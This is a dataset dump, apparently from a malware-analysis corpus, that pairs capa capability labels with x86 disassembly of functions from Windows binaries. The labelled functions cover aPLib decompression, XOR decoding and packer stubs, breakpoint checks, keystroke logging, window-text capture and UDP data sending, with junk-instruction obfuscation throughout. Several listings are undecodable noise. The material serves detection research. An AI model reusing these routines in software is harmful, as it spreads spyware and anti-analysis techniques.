joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10563058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x105631a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1056307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1056306a
add dl, dl
jne 0x10563089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105630dc
xor eax, eax
add dl, dl
jne 0x10563096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1056317d
add dl, dl
jne 0x105630a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105630b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105630bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105630c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105630d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10563075
mov eax, 1
add dl, dl
jne 0x105630ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105630f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105630e1
sub eax, ebx
mov ebx, 1
jne 0x10563128
mov ecx, 1
add dl, dl
jne 0x1056310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10563119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10563105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10563075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1056313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1056314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10563136
cmp eax, 0x7d00
jae 0x1056316d
cmp eax, 0x500
jb 0x10563168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10563075
cmp eax, 0x7f
ja 0x10563170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10563075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1056319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10563075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x534eb7
Capabilities:
Check for software breakpoints

Disassembly:
test dword [ebp - 0x53d4ec62], edx
ficomp word [esi + 0xb]
add byte [ebp + 0x4f955ccc], ah
mov word [edi], fs
das
push 0xfffffffffffffff5
sub al, 0x5a
dec ecx
and ebx, edi
inc eax
mov al, 0x43
xchg esp, eax
adc dword [ebx - 0x69ae5f1f], ecx
mov bl, 0x34
sahf
xor al, 0x9e
push es
push eax
mov dh, ch
push esp
adc edi, eax
push esi
push ss
jbe 0x534ef1
xchg ecx, eax
xchg esi, eax
adc dword [eax], ebx
inc esi
pop es
sub bl, ah
mov eax, 0x7aa1a439
pop edi
sub eax, 0xa25b5e2
ror dword [ebx - 0x4c], cl
mul byte [edi - 0x38]
add byte [ecx + 0x1f92c584], dl
aam 0xaa
jns 0x534f44
sal ah, cl
push cs
inc esp
push ss
sub dword [edi], ebp
lcall 0xe58a, 0x1b488949
invalid
lahf
xlatb
jns 0x534f48
add ch, byte [esi]
cdq
mov byte [0xe160744f], al
xchg ebp, edx
adc byte [edi + ecx*8], 0x29
loope 0x534edb
xchg cl, ah
mov bl, 0xae
cmp al, 0xcc
int1
add byte [eax], 0xfe
xchg esp, eax
jg 0x534fcb
add al, 0xb2
add eax, 0xf6c2fb74
invalid
adc byte [edx + 0x5f], 0x91
das
sub dword [edi - 0x15e6cb1], esi
inc esp
add byte [edx - 0x228032a0], cl
invalid

Function at 0x602a23
Capabilities:
Encode data using xor

Disassembly:
mov cs, word [ecx + 0x21267d7a]
adc dl, byte [0xadaa595e]
div cl
inc edx
inc ebp
in al, dx
jmp 0x602985
outsd dx, dword [esi]
xor al, 0x33
add byte [edi + 0x5e59aaad], 5
add dh, byte [ecx]
jge 0x602a0e
mov dword [esi + 0x6661d2d5], ecx
or eax, 0xa5fef90a
mov byte [0xdadd9691], al
sub dword [esi], ebp
jne 0x602a1a
shl esi, 0x42
adc byte [esp + eax*2], dh
clc
pop esp
insb byte es:[edi], dx
sub byte [edx + 0x728acefe], bl
push esi
and al, byte [0xed155161]
dec ecx
jns 0x602a00
invalid
mov ah, 0xf0
or byte [esp + ebx*4 + 0x3e0e6ad8], ch
jp 0x60295a
cmpsb byte [esi], byte es:[edi]
xchg esi, eax
sal ch, cl
xchg ecx, eax
mov eax, dword [0x89b91de5]
int 0x7f
sbb ebp, dword [ebx]
outsd dx, dword [esi]
xchg edi, eax
mov bl, 0x83
invalid
jb 0x602a44
push es
mov ah, 0xd0
loopne 0x6029ab
pop esp
js 0x602a52
or al, 0xdb
mov edi, 0x9733cb8f
cmpsd dword [esi], dword es:[edi]
jecxz 0x602a65
retf
xor eax, 0x9db94105
lodsd eax, dword [esi]
jmp 0xdefad4ed
inc esp
and byte [eax], dl
push esp
lodsb al, byte [esi]
mov byte [eax + 0x3f5d08fc], bh
dec edx
mov bl, 0xd1
movsb byte es:[edi], byte [esi]
aam 0x81
jecxz 0x6029cd
cli
out dx, eax
invalid
cmp dword [ebx + 0x2e], ebx
inc edx
push edi
xor eax, 0x4f2d7840
cmp dl, byte [esi - 0x3d]
mov eax, dword [0x93f1a4d4]
aam 0xa4
int1
xchg ebx, eax
out 0x8a, al
lahf
std
mov al, al
xchg ebp, eax
test dword [edx + 0x6c197bee], 0x5e2b491c
xor ah, byte [edi]
sub ebx, dword [esi + 0x32]
daa
inc ebp
xor cl, ch
mov esp, 0x52c7abde
xor byte [ebp + 0x35], al
pushal
add dh, byte [edi + 0x1b]
push cs
insb byte es:[edi], dx
sbb dword [ecx + 4], edx
adc di, word [edi - 0x16]
mov ch, bh
invalid
Function at 0x62d897
Capabilities:
Encode data using xor

Disassembly:
les ebx, [eax]
xor al, 0xbb
jmp 0x62d8e0
loop 0x62d866
test edx, 0x5c357524
add al, 0x74
je 0x62d920
cmp byte [ebx + 0x44], al
dec esi
pop ss
cmp al, 0x65
enter 0xfffffffffffffc85, 0xffffffffffffffd8
inc ebp
in al, dx
leave
sub eax, 0xe2bcf523
imul edx, esi, 0xa1ec702f
sub al, 0x57
insd dword es:[edi], dx
xor al, 0xd4
fidiv word cs:[edi]
mov dword [0x9ebd7001], eax
add bh, byte [eax + 0x6f]
insb byte es:[edi], dx
xchg ecx, eax
push ebp
add bh, dh
test eax, 0xca97963e
sub al, 0x95
sbb edi, ecx
dec esp
and al, 0xab
and al, 0x4c
mov edx, 0xb22f736
outsd dx, dword [esi]
push es
mul dword ss:[edx]
or ebp, dword [edi + 6]
mov bl, 0x21
clc
and eax, edi
imul ebp, dword [esi - 0x15], 0xb59d009e
pop eax
sub dh, cl
xor byte [ebp + 0x2c], ch
push edx
sar dword [ebx - 0x4e], 1
inc eax
mov dl, 0x40
mov byte [0xd3a8d96e], al
jge 0x62d8e7
mov dword [0xc1cbe8f], eax
imul ecx, ebp, 0x3c5bf320
add al, 0xf1
xor dword [esi], esi
cmpsb byte [esi], byte es:[edi]
invalid
dec edx
mov al, 0x94
adc byte [edx + eax - 0x62], ah
adc byte [ecx - 0x2e], cl
sbb dl, ah
jo 0x62d8af
cld
test eax, 0x4b31158f
xor cl, byte [eax + 0x29]
dec ecx
xchg ebp, edx
leave
dec edi
xor dword [ebp + 0x2e], edi
adc byte [ebp - 0x50e48d7b], 0
dec ebp
sti
salc
fild dword [ebx + ebp + 0x308a6d71]
jg 0x62d99b
or dl, bh
mov bl, 0x8d
jne 0x62d8f9
or ecx, dword [esi - 0x5c]
mov bl, 0x7c
sar ah, 0x5b
ret
push es
mov word [edi], ss
daa
xchg esp, eax
out dx, eax
mov esp, 0x70ea5368
xchg dword [ebp - 7], ecx
dec esi
inc edi
nop
mov ch, 0xd
daa
push esi
pop esi
xor byte [ebp + edi - 0x63], bl
mov dword [0x1367411b], eax
cmp al, 0x18
push 0xc
xchg esp, ecx
sar byte [edi + 0x6a], cl
in eax, 0xd1
cmp dword [ebx + eax + 0x1194e07d], edx
int1
mov ebp, 0x5cacd1fd
xchg esp, eax
push ebp
sar byte [esi], 1
jge 0x62d9fb
add al, 3
das
lcall 0xdf17, 0x5e9a4a0e
js 0x62da23
cmp al, byte [edi + 0x5d]
test dword [ecx + 0x7f], ebp
pushfd
lahf
and byte [ecx + 0x714cd884], dl
or eax, ecx
mov fs, word [eax]
sti
push ebp
hlt
ror dword [ebp - 0x757eb241], 1
fisttp word [edi]
daa
jle 0x62d9e5
jmp [edx + ebx*4 - 0x3f6bffe6]
lodsb al, byte [esi]
lcall 0x8bd2, 0xc094001a
jl 0x62d970
sbb byte [edi + ecx*2], 0x10
loopne 0x62da15
sbb al, 0x4f
adc al, ah
and byte [eax + ecx*4 + 0x667f6588], dh
mov ah, 0x88
mov byte [ebp + 0x7f], ah
cmp word [edi - 0x87c1f3f], dx
cmp dword [edi - 0x87c1f3f], edx
lahf
fdivr qword [edx - 0x7695fbee]
jg 0x62d9ef
adc al, byte [edx + ebp*2]
mov dword [edi - 0x1b], edi
xchg edx, eax
xchg edi, eax
in al, dx
ret 0x47ef
add byte [ebx + edx + 0x60], 0xef
mov dword [ecx - 0x6b8d3054], edx
push eax
in al, 0x5f
xchg ebp, eax
push 0xcab49f80
imul dword [edi + ecx - 0x4536fa30]
sahf
mov dword [edx + ebp*4], ecx
sub byte [eax + 0x26], al
inc eax
jl 0x62da04
loopne 0x62da3b
call dword [ebp + 0x6c947e03]
xchg ebp, eax
add edi, dword [esi - 0x6c]
insb byte es:[edi], dx
mov eax, 0x8465a9d9
jns 0x62d9db
push edx
cmp dword [ebx], ebx
and al, 0xae
add eax, 0xa4916b48
cmp eax, 0x590b0f1
push ebp
cdq
push eax
dec edx
push 0xffffffffffffff92
or al, 0x17
les esp, [ecx - 0x52b413a2]
dec edi
jmp 0x8dbac6cb
Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..pdata
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x72727441
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..pdata_1
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x5b4b0d1f
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0xa86ab0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 8], ebx
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0xaf197c]
mov edi, eax
add esp, 4
test edi, edi
jne 0xa86ae3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
mov dword [edi + 8], eax
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x10]
jbe 0xa86b2a
mov eax, dword [esi]
push ecx
call eax
push dword [ebp + 8]
mov eax, dword [esi + 4]
push ebx
push dword [edi + 4]
call eax
mov ebx, dword [edi + 8]
add ebx, dword [esi + 0xc]
push dword [edi + 4]
mov eax, dword [esi + 8]
push ebx
mov dword [ebp - 8], ebx
call eax
mov eax, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 8]
add esp, 8
xor ebx, ebx
test eax, eax
je 0xa86b83
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 8], 1
jne 0xa86b48
mov ebx, dword [ebp - 0xc]
cmp ebx, dword [esi + 0x10]
jae 0xa86bb7
nop dword [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0xabe23b
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0xabe23a
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0xa86b90
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xa876d0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push esi
push edi
push 0xf0000040
mov esi, ecx
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0xa8770b
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
pop esi
ret

Function at 0xaa12e9
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00aa0fa9

Function at 0xaa860c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00aa848b

Function at 0x103a50ac
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103a50b6
pushal
call 0x103a50bc
pop ebp
sub ebp, 0x10
sub ebp, 0x3a50ac
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103a50e0
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103a50e9
mov eax, 0x3a50ac
add eax, ebp
add eax, 0x63
mov ecx, 0x5f7
mov edx, 0xa0268910
xor byte [eax], dl
inc eax
dec ecx
jne 0x103a5100
jmp 0x103a5113
wait
fstp qword [ebx + 0x10102c99]
adc byte [ecx + 0x1010e8d1], dl
adc byte [ebx], dl
invalid
Function at 0x1001420
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1001439
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1001474
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x1001470
lea ebx, [ebx]
cmp esi, eax
jae 0x1001474
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x1001460
cmp esi, eax
jb 0x100147a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x1002520
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x68
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x64], eax
push ebx
push ebp
push esi
push edi
push ebx
call fcn.01002538

Function at 0x10038a0
Capabilities:
Get common file path

Disassembly:
push ecx
mov dword [esp], 0
push ebx
call fcn.010038ae

Function at 0x1003940
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x420
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x41c], eax
push esi
push 0x103
lea eax, [esp + 0x15]
push 0
push eax
mov esi, ecx
mov byte [esp + 0x1c], 0
call fcn.0109a300
lea ecx, [esp + 0x1c]
push ecx
call fcn.010038a0
add esp, 0x10
push ebx
call fcn.01003980

Function at 0x1003e90
Capabilities:
Create udp socket
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x194], eax
push ebx
call fcn.01003eaa

Function at 0x10042c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x958
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x954], eax
push ebx
push esi
xor ebx, ebx
push 0xff
lea eax, [esp + 0x8d]
push ebx
push eax
mov esi, ecx
mov byte [esp + 0x94], bl
call fcn.0109a300
add esp, 0xc
push ebx
call fcn.01004303

Function at 0x1004600
Capabilities:
Get local ipv4 addresses
Send data
Send data on socket

Disassembly:
mov eax, 0x11fc
call fcn.0109d2b0
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x11f4], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [esp + 0x165]
push ebx
push eax
mov byte [esp + 0x16c], bl
call fcn.0109a300
add esp, 0xc
push ebx
call fcn.01004641

Function at 0x1005340
Capabilities:
Check if file exists
Create process on windows
Create thread
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x31cc
call fcn.0109d2b0
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x31c8], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x10faeb4], eax
push ebx
call fcn.01005378
Function at 0x1008b30
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
push ebx
push ebp
push edi
mov ecx, 0x10fa190
call edx
add eax, 0x10
mov dword [esi + 0x1c8], eax
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
mov ecx, 0x10fa190
call edx
add eax, 0x10
mov dword [esi + 0x1cc], eax
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
mov ecx, 0x10fa190
call edx
add eax, 0x10
mov dword [esi + 0x1d0], eax
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
mov ecx, 0x10fa190
call edx
add eax, 0x10
mov dword [esi + 0x1d4], eax
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
mov ecx, 0x10fa190
call edx
add eax, 0x10
mov dword [esi + 0x1d8], eax
xor ebp, ebp
mov dword [esi + 0x1dc], ebp
call fcn.0100cf60
mov dword [esi + 0x1f0], eax
mov byte [eax + 0x29], 1
mov eax, dword [esi + 0x1f0]
mov dword [eax + 4], eax
mov eax, dword [esi + 0x1f0]
mov dword [eax], eax
mov eax, dword [esi + 0x1f0]
mov dword [eax + 8], eax
mov dword [esi + 0x1f4], ebp
mov eax, dword [0x10fa190]
mov edx, dword [eax + 0xc]
mov ecx, 0x10fa190
call edx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add eax, 0x10
push ebp
mov dword [esi + 0x74c], eax
call edi
mov dword [esi + 8], eax
push ebx
call fcn.01008c0c

Function at 0x1009930
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x574
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x570], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x6c], eax
push ebx
call fcn.0100995a
Function at 0x100d250
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x210
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x20c], eax
mov eax, dword [esp + 0x214]
push ebp
push esi
push edi
push 0xff
lea edx, [esp + 0x1d]
push 0
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
mov byte [esp + 0x24], 0
call fcn.0109a300
push 0xff
lea eax, [esp + 0x129]
push 0
push eax
mov byte [esp + 0x130], 0
call fcn.0109a300
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
add esp, 0x18
push 0
push 0
push 0
push 0
call edi
mov esi, eax
push ebx
call 0x100d2c3
jmp 0x100d2c8
pushal
call 0x100d2ce
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
test esi, esi
je 0x100d3dc
mov ebp, dword [sym.imp.USER32.dll_GetWindowTextA]
lea esp, [esp]
push 0
push 0
push esi
push 0
call edi
mov esi, eax
push ebx
call 0x100d301
jmp 0x100d306
pushal
call 0x100d30c
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push pe_nt_image_headers32
lea ecx, [esp + 0x1c]
push ecx
push esi
call ebp
push ebx
call 0x100d32c
jmp 0x100d331
pushal
call 0x100d337
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push pe_nt_image_headers32
lea edx, [esp + 0x11c]
push edx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
push ebx
call 0x100d35e
jmp 0x100d363
pushal
call 0x100d369
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x18]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100d380
sub eax, edx
je 0x100d3d4
mov eax, dword [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.01094630
add esp, 8
test eax, eax
je 0x100d3d4
lea eax, [esp + 0x118]
lea edx, [eax + 1]
jmp 0x100d3b0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100d3b0
sub eax, edx
je 0x100d3d4
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push eax
call fcn.01094630
add esp, 8
test eax, eax
jne 0x100d3dc
test esi, esi
jne 0x100d2f0
mov ecx, dword [esp + 0x218]
pop edi
mov eax, esi
pop esi
pop ebp
xor ecx, esp
call fcn.01090090
add esp, 0x210
ret
Function at 0x100d910
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10c7e10
mov eax, dword fs:[0]
push eax
sub esp, 0x3f0
mov eax, dword [0x10f5ca0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov byte [ebp - 0x3fc], bl
push 0x3e7
push ebx
lea eax, [ebp - 0x3fb]
push eax
call fcn.0109a300
add esp, 0xc
push ebx
call 0x100d964
jmp 0x100d969
pushal
call 0x100d96f
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov dword [ebp - 4], ebx
push ebx
call 0x100d985
jmp 0x100d98a
pushal
call 0x100d990
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x100d9a3
jmp 0x100d9a8
pushal
call 0x100d9ae
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x3fc]
push eax
call fcn.010993d0
add esp, 0xc
push ebx
call 0x100d9d8
jmp 0x100d9dd
pushal
call 0x100d9e3
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x100d9f6
jmp 0x100d9fb
pushal
call 0x100da01
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3fc]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call 0x100da28
jmp 0x100da2d
pushal
call 0x100da33
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.01090090
mov esp, ebp
pop ebp
ret
Function at 0x100ea20
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x2c
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x24], eax
xor eax, eax
mov byte [esp + 0x10], 0
mov dword [esp + 0x11], eax
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov word [esp + 0x21], ax
mov byte [esp + 0x23], al
push ebx
call 0x100ea54
jmp 0x100ea59
pushal
call 0x100ea5f
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x100ea72
jmp 0x100ea77
pushal
call 0x100ea7d
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x10]
push eax
mov eax, 0x10dc310
mov edx, 0x10dc284
call fcn.0103a130
add esp, 4
push ebx
call 0x100eaa7
jmp 0x100eaac
pushal
call 0x100eab2
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
lea ecx, [esp + 0x10]
push ecx
call sub.WS2_32.dll_inet_addr
mov dword [esp + 4], eax
push ebx
call 0x100ead3
jmp 0x100ead8
pushal
call 0x100eade
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov edx, 2
mov word [esp], dx
push ebx
call 0x100eafa
jmp 0x100eaff
pushal
call 0x100eb05
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push 0x46a
call sub.WS2_32.dll_htons
mov word [esp + 2], ax
push ebx
call 0x100eb27
jmp 0x100eb2c
pushal
call 0x100eb32
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov dword [0x10fa73c], 1
push ebx
call 0x100eb4f
jmp 0x100eb54
pushal
call 0x100eb5a
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push 0
mov eax, 0x10dc298
mov edx, 0x10dbc50
call fcn.0103a130
add esp, 4
mov dword [0x10fa740], eax
push ebx
call 0x100eb86
jmp 0x100eb8b
pushal
call 0x100eb91
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push 0
mov eax, 0x10dc2f0
mov edx, 0x10dbc50
call fcn.0103a130
add esp, 4
mov dword [0x10fa744], eax
push ebx
call 0x100ebbd
jmp 0x100ebc2
pushal
call 0x100ebc8
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push 0
mov eax, 0x10dc3fc
mov edx, 0x10dbc50
call fcn.0103a130
add esp, 4
mov dword [0x10fa748], eax
push ebx
call 0x100ebf4
jmp 0x100ebf9
pushal
call 0x100ebff
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push 0
mov eax, 0x10dd310
mov edx, 0x10dbc50
call fcn.0103a130
add esp, 4
mov dword [0x10fa74c], eax
push ebx
call 0x100ec2b
jmp 0x100ec30
pushal
call 0x100ec36
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov ecx, dword [0x10fa7bc]
push 0x10
lea eax, [esp + 4]
push eax
push 0
push 0x4e4
push 0x10fa2d0
push ecx
call sub.WS2_32.dll_sendto
push ebx
call 0x100ec68
jmp 0x100ec6d
pushal
call 0x100ec73
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.01090090
add esp, 0x2c
ret
Function at 0x10111a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x22f4
call fcn.0109d2b0
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x22ec], eax
mov eax, dword [esp + 0x22f8]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov esi, ecx
mov dword [esp + 0x2c], eax
cmp dword [0x10faeac], ebx
